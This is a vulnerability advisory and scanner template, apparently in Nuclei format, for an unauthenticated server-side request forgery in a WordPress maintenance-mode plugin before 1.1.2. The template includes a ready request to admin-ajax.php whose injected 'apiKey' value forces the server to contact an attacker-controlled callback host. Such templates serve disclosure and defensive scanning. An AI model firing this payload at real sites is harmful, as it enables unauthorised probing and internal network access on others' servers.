The includes/mc-get_lists.php file used the 'apiKey' POST parameter to create an https URL from it without sanitisation and called it with cURL, leading to a SSRF issue. The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).
PoC
id: wp-under-construction-ssrf
info:
name: Under Construction, Coming Soon & Maintenance Mode < 1.1.2 - Server Side Request Forgery (SSRF)
author: Akincibor
severity: high
description: |
The includes/mc-get_lists.php file used the 'apiKey' POST parameter to create an https URL from it without sanitisation and called it with cURL, leading to a SSRF issue. The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).
reference:
- https://wpscan.com/vulnerability/24784c84-3efd-4166-81c1-e5a266562cfc
- https://packetstormsecurity.com/files/161576/
classification:
cwe-id: CWE-99,CWE-918
metadata:
verified: true
max-request: 2
tags: ssrf,wp,wp-plugin,wordpress,unauth,wpscan,packetstorm,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/under-construction-maintenance-mode/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '= Under Construction'
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
action=ucmm_mc_api&apiKey=-{{interactsh-url}}%2Ftest%2Ftest%2Ftest%3Fkey1%3Dval1%26dummy%3D
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a00473045022100f0dc68814dfb8c430fe0df72483b39d7976fe7be879c353dfa3d83347d9a4fcd02200ca1efd1b01b43207e92f476187b7283ea5711202c253829bb4a23e5e3e94158:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.